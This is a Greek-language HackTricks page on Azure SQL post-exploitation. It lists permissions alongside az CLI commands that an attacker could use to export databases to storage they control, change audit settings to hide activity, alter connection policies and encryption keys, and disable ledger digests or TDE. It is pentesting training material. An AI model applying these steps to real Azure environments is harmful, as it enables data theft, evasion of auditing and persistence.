Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md

11 KiB
Raw Blame History

Az - SQL Database Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

SQL Database Post Exploitation

Για περισσότερες πληροφορίες σχετικά με τη SQL Database, ελέγξτε:

{{#ref}} ../az-services/az-sql.md {{#endref}}

Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write

Με αυτές τις άδειες, ένας επιτιθέμενος μπορεί να δημιουργήσει και να ενημερώσει βάσεις δεδομένων μέσα στο παραβιασμένο περιβάλλον. Αυτή η δραστηριότητα μετά την εκμετάλλευση θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να προσθέσει κακόβουλα δεδομένα, να τροποποιήσει τις ρυθμίσεις της βάσης δεδομένων ή να εισάγει backdoors για περαιτέρω επιμονή, ενδεχομένως διαταράσσοντας τις λειτουργίες ή επιτρέποντας επιπλέον κακόβουλες ενέργειες.

# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>

Με αυτές τις άδειες (Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write) μπορείτε να επαναφέρετε μια διαγραμμένη βάση δεδομένων:

az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read

Με αυτές τις άδειες, ένας επιτιθέμενος μπορεί να δημιουργήσει και να ενημερώσει elasticPools μέσα στο παραβιασμένο περιβάλλον. Αυτή η δραστηριότητα μετά την εκμετάλλευση θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να προσθέσει κακόβουλα δεδομένα, να τροποποιήσει τις ρυθμίσεις της βάσης δεδομένων ή να εισάγει backdoors για περαιτέρω επιμονή, ενδεχομένως διαταράσσοντας τις λειτουργίες ή επιτρέποντας επιπλέον κακόβουλες ενέργειες.

# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>

Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write

Με αυτή την άδεια, μπορείτε να τροποποιήσετε ή να ενεργοποιήσετε τις ρυθμίσεις ελέγχου σε έναν Azure SQL Server. Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο ή εξουσιοδοτημένο χρήστη να χειριστεί τις ρυθμίσεις ελέγχου, ενδεχομένως καλύπτοντας τα ίχνη ή ανακατευθύνοντας τα αρχεία καταγραφής ελέγχου σε μια τοποθεσία υπό τον έλεγχό τους. Αυτό μπορεί να εμποδίσει την παρακολούθηση ασφαλείας ή να επιτρέψει την παρακολούθηση των ενεργειών. ΣΗΜΕΙΩΣΗ: Για να ενεργοποιήσετε τον έλεγχο για έναν Azure SQL Server χρησιμοποιώντας Blob Storage, πρέπει να συνδέσετε έναν λογαριασμό αποθήκευσης όπου μπορούν να αποθηκευτούν τα αρχεία καταγραφής ελέγχου.

az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7

Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write

Με αυτή την άδεια, μπορείτε να τροποποιήσετε τις πολιτικές σύνδεσης ενός Azure SQL Server. Αυτή η δυνατότητα μπορεί να εκμεταλλευτεί για να ενεργοποιήσει ή να αλλάξει τις ρυθμίσεις σύνδεσης σε επίπεδο διακομιστή.

az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>

Microsoft.Sql/servers/databases/export/action

Με αυτή την άδεια, μπορείτε να εξάγετε μια βάση δεδομένων από έναν Azure SQL Server σε έναν λογαριασμό αποθήκευσης. Ένας επιτιθέμενος ή εξουσιοδοτημένος χρήστης με αυτή την άδεια μπορεί να εξάγει ευαίσθητα δεδομένα από τη βάση δεδομένων εξάγοντας τα σε μια τοποθεσία που ελέγχουν, θέτοντας σε κίνδυνο μια σημαντική παραβίαση δεδομένων. Είναι σημαντικό να γνωρίζετε το κλειδί αποθήκευσης για να μπορέσετε να το εκτελέσετε αυτό.

az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

Microsoft.Sql/servers/databases/import/action

Με αυτή την άδεια, μπορείτε να εισάγετε μια βάση δεδομένων σε έναν Azure SQL Server. Ένας επιτιθέμενος ή εξουσιοδοτημένος χρήστης με αυτή την άδεια μπορεί δυνητικά να ανεβάσει κακόβουλες ή παραποιημένες βάσεις δεδομένων. Αυτό μπορεί να οδηγήσει σε απόκτηση ελέγχου πάνω σε ευαίσθητα δεδομένα ή με την ενσωμάτωση επιβλαβών σεναρίων ή triggers μέσα στη εισαγόμενη βάση δεδομένων. Επιπλέον, μπορείτε να την εισάγετε στον δικό σας server στο Azure. Σημείωση: Ο server πρέπει να επιτρέπει στις υπηρεσίες και τους πόρους του Azure να έχουν πρόσβαση στον server.

az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`

Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read

Με αυτές τις άδειες, ένας χρήστης μπορεί να τροποποιήσει και να ανακτήσει τις πολιτικές σύνδεσης ενός Azure SQL server. Αυτές οι άδειες επιτρέπουν σε κάποιον να αλλάξει τον τρόπο με τον οποίο οι πελάτες συνδέονται στον server—επιλέγοντας μεταξύ μεθόδων όπως redirect ή proxy—που θα μπορούσε να εκμεταλλευτεί για να αποδυναμώσει την ασφάλεια, να ανακατευθύνει την κίνηση ή να παρεμποδίσει ευαίσθητα δεδομένα αν είναι κακώς ρυθμισμένο.

az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>

Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read

Με αυτές τις άδειες, ένας χρήστης μπορεί να ενημερώσει και να ανακτήσει τα κλειδιά κρυπτογράφησης που σχετίζονται με έναν Azure SQL Server. Αυτά τα κλειδιά χρησιμοποιούνται συχνά για την ασφάλιση ευαίσθητων δεδομένων μέσω κρυπτογράφησης, οπότε η χειραγώγησή τους θα μπορούσε να θέσει σε κίνδυνο την ασφάλεια των δεδομένων επιτρέποντας μη εξουσιοδοτημένη αποκρυπτογράφηση ή αλλαγές στην περιστροφή κλειδιών.

az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef

Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read

Αυτή η άδεια επιτρέπει την απενεργοποίηση του Ledger Digest για μια Azure SQL Database, η οποία σταματά την περιοδική μεταφόρτωση κρυπτογραφικών αρχείων καταγραφής στο Azure Blob Storage που επαληθεύει την ακεραιότητα των δεδομένων.

az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server

Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read

Αυτή η άδεια επιτρέπει σε έναν εξουσιοδοτημένο χρήστη ή επιτιθέμενο να ενεργοποιήσει, να απενεργοποιήσει ή να τροποποιήσει τις ρυθμίσεις Κρυπτογράφησης Διαφάνειας Δεδομένων (TDE) σε μια βάση δεδομένων Azure SQL, ενδεχομένως επηρεάζοντας την ασφάλεια των δεδομένων τροποποιώντας τις ρυθμίσεις κρυπτογράφησης.

az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>

{{#include ../../../banners/hacktricks-training.md}}